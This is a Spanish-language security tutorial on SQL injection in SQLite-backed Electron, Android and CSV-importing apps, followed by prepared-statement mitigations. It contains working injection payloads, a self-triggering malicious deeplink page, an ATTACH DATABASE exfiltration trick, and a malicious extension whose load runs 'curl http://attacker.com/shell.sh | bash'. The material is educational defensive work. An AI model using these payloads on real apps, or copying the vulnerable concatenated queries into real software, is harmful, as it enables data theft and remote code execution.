SQLite en Apps Locales
SQLite es la base de datos más usada en aplicaciones móviles (Android/iOS) y apps desktop (Electron). Aunque la base de datos esté "local", las vulnerabilidades de inyección SQL siguen siendo explotables y peligrosas.
Vectores de Ataque Locales
- 📱 Apps móviles que procesan deeplinks/URLs personalizadas
- 💾 Apps Electron con IPC inseguro
- 📄 Apps que importan archivos CSV/JSON maliciosos
- 🔐 Password managers con búsqueda vulnerable
1. Injection en Apps Electron
Escenario Vulnerable
main.js - Proceso principal de Electron
javascriptconst { app, ipcMain } = require('electron');
const sqlite3 = require('sqlite3').verbose();
const db = new sqlite3.Database('./app.db');
// ❌ VULNERABLE - IPC handler sin validación
ipcMain.handle('search-notes', async (event, searchTerm) => {
return new Promise((resolve, reject) => {
// Concatenación directa = vulnerable
db.all(
`SELECT * FROM notes WHERE content LIKE '%${searchTerm}%'`,
(err, rows) => {
if (err) reject(err);
else resolve(rows);
}
);
});
});Exploit desde Renderer Process
renderer.js - Exfiltrar datos
javascript// En la app, un atacante puede inyectar via campo de búsqueda
const maliciousSearch = "' UNION SELECT username, password, email FROM users --";
const results = await window.electronAPI.searchNotes(maliciousSearch);
// Resultado: obtiene credenciales de TODOS los usuarios
console.log(results);
// [
// { username: 'admin', password: 'hashed_password_here', email: 'admin@app.com' },
// { username: 'user1', password: 'another_hash', email: 'user@app.com' }
// ]Impacto
Un atacante puede extraer TODA la base de datos local, incluyendo credenciales, tokens de sesión, claves de cifrado, etc.
2. SQLite en Android
Código Vulnerable en Android
NotesActivity.java - Búsqueda vulnerable
javapublic class NotesActivity extends AppCompatActivity {
private SQLiteDatabase db;
private void searchNotes(String query) {
// ❌ VULNERABLE - rawQuery con concatenación
String sql = "SELECT * FROM notes WHERE title LIKE '%" + query + "%'";
Cursor cursor = db.rawQuery(sql, null);
if (cursor.moveToFirst()) {
do {
String title = cursor.getString(0);
String content = cursor.getString(1);
displayNote(title, content);
} while (cursor.moveToNext());
}
cursor.close();
}
}Payload via Deeplink
Un atacante puede crear una URL maliciosa que la app procese:
Página web maliciosa
html<!DOCTYPE html>
<html>
<body>
<h1>Click para abrir la app</h1>
<a href="myapp://search?q=' UNION SELECT password, '', '' FROM users WHERE username='admin' --">
Ver resultados
</a>
<script>
// Auto-abrir el deeplink
window.location = "myapp://search?q=' UNION SELECT password, '', '' FROM users WHERE username='admin' --";
</script>
</body>
</html>Cuando la víctima haga clic, la app procesa el payload y extrae la contraseña.
Attach Database para Exfiltración
Payload - Copiar datos a archivo accesible
sql' ; ATTACH DATABASE '/sdcard/Download/leaked.db' AS leaked;
CREATE TABLE leaked.passwords AS SELECT * FROM users;
DETACH DATABASE leaked; --
-- El atacante puede luego acceder a /sdcard/Download/leaked.db3. RCE con LOAD_EXTENSION
SQLite permite cargar extensiones .so/.dll
Si
SQLITE_ENABLE_LOAD_EXTENSION está habilitado, puedes cargar librerías nativas y ejecutar código arbitrario.Crear Extensión Maliciosa
evil.c - Extensión SQLite maliciosa
c#include <sqlite3ext.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1
// Esta función se ejecuta al cargar la extensión
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
// ¡Ejecutar comando del sistema!
system("curl http://attacker.com/shell.sh | bash");
return SQLITE_OK;
}Compilar extensión
gcc -shared -fPIC -o evil.so evil.c
# En macOS:
gcc -dynamiclib -o evil.dylib evil.c
# En Windows:
gcc -shared -o evil.dll evil.c -lsqlite3
Payload de Explotación
Cargar extensión maliciosa
sql'; SELECT load_extension('/tmp/evil.so'); --
-- En Windows:
'; SELECT load_extension('C:\Users\Public\evil.dll'); --El atacante primero necesita escribir el archivo
.so/.dll en disco. Esto puede hacerse con:- Subir archivo via funcionalidad de import
- Escribir usando
ATTACH DATABASE - Social engineering (víctima descarga archivo)
4. CSV Import Injection
Apps que Importan CSV
Muchas apps permiten importar datos desde CSV. Si el import usa SQL dinámico, podemos inyectar payloads en el CSV:
malicious.csv - Datos maliciosos
csvname,email,notes
John Doe,john@example.com,Normal note
Admin,' UNION SELECT password FROM users WHERE username='admin' --,Maliciousapp.py - Import vulnerable
pythonimport sqlite3
import csv
def import_csv(filename):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
with open(filename, 'r') as f:
reader = csv.DictReader(f)
for row in reader:
# ❌ VULNERABLE - f-string con datos del CSV
query = f"""
INSERT INTO contacts (name, email, notes)
VALUES ('{row['name']}', '{row['email']}', '{row['notes']}')
"""
cursor.execute(query)
conn.commit()
conn.close()Mitigación Completa
✅ Usar Prepared Statements SIEMPRE
Todos los lenguajes tienen soporte para queries parametrizadas.
Electron / Node.js
✅ SEGURO - better-sqlite3
javascriptconst Database = require('better-sqlite3');
const db = new Database('./app.db');
ipcMain.handle('search-notes', async (event, searchTerm) => {
// ✅ SEGURO - Prepared statement
const stmt = db.prepare('SELECT * FROM notes WHERE content LIKE ?');
const results = stmt.all(`%${searchTerm}%`);
return results;
});
// ✅ También seguro con named parameters
const insertStmt = db.prepare('INSERT INTO notes (title, content) VALUES (@title, @content)');
insertStmt.run({ title: userTitle, content: userContent });Android / Java
✅ SEGURO - query() con selectionArgs
javapublic class NotesActivity extends AppCompatActivity {
private SQLiteDatabase db;
private void searchNotes(String query) {
// ✅ SEGURO - Usar query() con placeholders
Cursor cursor = db.query(
"notes", // tabla
new String[]{"title", "content"}, // columnas
"title LIKE ?", // WHERE con placeholder
new String[]{"%" + query + "%"}, // valores (escapados automáticamente)
null, null, null
);
if (cursor.moveToFirst()) {
do {
String title = cursor.getString(0);
String content = cursor.getString(1);
displayNote(title, content);
} while (cursor.moveToNext());
}
cursor.close();
}
// ✅ SEGURO - Insert con ContentValues
private void insertNote(String title, String content) {
ContentValues values = new ContentValues();
values.put("title", title);
values.put("content", content);
db.insert("notes", null, values);
}
}Python
✅ SEGURO - sqlite3 con placeholders
pythonimport sqlite3
def search_notes(search_term):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
# ✅ SEGURO - Usar ? como placeholder
cursor.execute(
"SELECT * FROM notes WHERE content LIKE ?",
(f'%{search_term}%',) # Tuple de parámetros
)
results = cursor.fetchall()
conn.close()
return results
def insert_contact(name, email, notes):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
# ✅ SEGURO - Named placeholders
cursor.execute(
"INSERT INTO contacts (name, email, notes) VALUES (:name, :email, :notes)",
{'name': name, 'email': email, 'notes': notes}
)
conn.commit()
conn.close()Deshabilitar LOAD_EXTENSION
Node.js - Deshabilitar extensiones
javascriptconst sqlite3 = require('sqlite3').verbose();
const db = new sqlite3.Database('./app.db');
// ✅ Deshabilitar carga de extensiones (por defecto está deshabilitado)
// No llamar a db.loadExtension()Python - Deshabilitar extensiones
pythonimport sqlite3
conn = sqlite3.connect('app.db')
# ✅ Asegurar que load_extension esté deshabilitado
conn.enable_load_extension(False) # Por defecto es FalseSiguiente: Firebase Misconfiguration
Explotar Firebase sin autenticaciónPor Aitana Security Team